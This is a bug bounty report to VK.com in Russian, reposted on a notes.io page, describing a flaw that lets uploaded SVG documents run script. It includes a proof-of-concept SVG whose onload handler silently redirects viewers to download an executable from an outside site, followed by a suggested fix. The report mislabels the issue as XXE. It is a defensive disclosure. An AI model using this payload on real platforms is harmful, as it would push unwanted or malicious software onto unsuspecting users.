Notes
Notes - notes.io |
-
Reputation-
Rank
#718170
Распространение нежелательного п.о. через Документы
State New (Open)
Reported To
VK.com
Weakness XML External Entities (XXE)
Severity No Rating (---) Add
Participants searcher48 (Manage collaborators)
Visibility
Private
Collapse
ADD HACKER SUMMARY
TIMELINE · EXPORT
searcher48
searcher48 submitted a report to VK.com. Oct 20th (< 1 min ago)
Обнаружена возможность добавить в Документы .svg файлы содержащие ссылку на внешне источники приложений.
Пример кода такого файла
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe'"
xmlns="http://www.w3.org/2000/svg">
</svg>
При клике по такому файлу svg он не скачивается в виде простого текста а выполняется на странице ,в случае показаном на примере-инициируя загрузку исполняемого файла с внешнего ресурса без предупреждения со стороны вк.
Impact
При наличии уязвимости есть риск распространения среди пользователей соцсети вирусного или рекламного п.о. Следует ограничить возможность исполнения svg формата файлов на странице или внести его в список запрещенных к загрузке.
1 attachment:
F612671: xra.svg
|
|
Notes.io is a web-based application for taking notes. You can take your notes and share with others people. If you like taking long notes, notes.io is designed for you. To date, over 8,000,000,000 notes created and continuing...
With notes.io;
- * You can take a note from anywhere and any device with internet connection.
- * You can share the notes in social platforms (YouTube, Facebook, Twitter, instagram etc.).
- * You can quickly share your contents without website, blog and e-mail.
- * You don't need to create any Account to share a note. As you wish you can use quick, easy and best shortened notes with sms, websites, e-mail, or messaging services (WhatsApp, iMessage, Telegram, Signal).
- * Notes.io has fabulous infrastructure design for a short link and allows you to share the note as an easy and understandable link.
Fast: Notes.io is built for speed and performance. You can take a notes quickly and browse your archive.
Easy: Notes.io doesn’t require installation. Just write and share note!
Short: Notes.io’s url just 8 character. You’ll get shorten link of your note when you want to share. (Ex: notes.io/q )
Free: Notes.io works for 12 years and has been free since the day it was started.
You immediately create your first note and start sharing with the ones you wish. If you want to contact us, you can use the following communication channels;
Email: [email protected]
Twitter: http://twitter.com/notesio
Instagram: http://instagram.com/notes.io
Facebook: http://facebook.com/notesio
Regards;
Notes.io Team
